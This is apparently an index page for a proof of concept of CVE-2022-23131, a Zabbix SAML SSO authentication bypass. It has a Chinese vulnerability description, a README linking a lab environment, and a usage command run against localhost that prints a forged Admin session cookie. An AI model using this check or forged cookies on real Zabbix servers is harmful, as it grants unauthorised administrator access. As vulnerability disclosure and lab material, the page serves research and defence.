CVE-2022-23131 PoC — Zabbix 安全漏洞

Source

https://github.com/trganda/CVE-2022-23131

Associated Vulnerability

Title:Zabbix 安全漏洞 (CVE-2022-23131)
Description:Zabbix是拉脱维亚Zabbix公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix 存在安全漏洞，该漏洞源于在启用 SAML SSO 身份验证（非默认）的情况下，恶意行为者可以修改会话数据，因为存储在会话中的用户登录未经过验证。未经身份验证的恶意攻击者可能会利用此问题来提升权限并获得对 Zabbix 前端的管理员访问权限。

Readme

# Zabbix SAML SSO Login Bypass Vulnerability CVE-2022-23131

Enviroment and Poc of CVE-2022-23131

## Enviroment

You can create a Zabbix with SAML SSO follow the step in [Zabbix Enviroment for CVE-2022-23131](https://github.com/trganda/dockerenv/tree/master/vuln/zabbix/CVE-2022-23131).

## Poc

The Poc was modified from [jweny](https://github.com/jweny/zabbix-saml-bypass-exp)

Usage:

```bash
go run poc.go check -t http://localhost:8080 -u Admin

[INFO] 2022/02/24 19:49 vul exist! target: http://localhost:8080, cookie: eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiYmYyMzAxMWU1YWMyOWE1MjFlN2E1ZDZjMTAwZDQ2NjAiLCJzaWduIjoiaytKblhjVjlhQmJRa3NJc21oMVRwVEhrMGFDSTJOYkM1VGNTU1doczQ3YVIrNmpWZ1BKOGw5cWZhZlRmcjA3VGVKalNZcW5kZWRPWEtleklmS0Fjb3c9PSJ9
```

File Snapshot


 [4.0K]  /data/pocs/ad3586d4be24ed5ddb41867e06315d931086e10a
├── [ 845]  go.mod
├── [4.8K]  go.sum
├── [ 11K]  LICENSE
├── [2.9K]  poc.go
└── [ 783]  README.md

0 directories, 5 files

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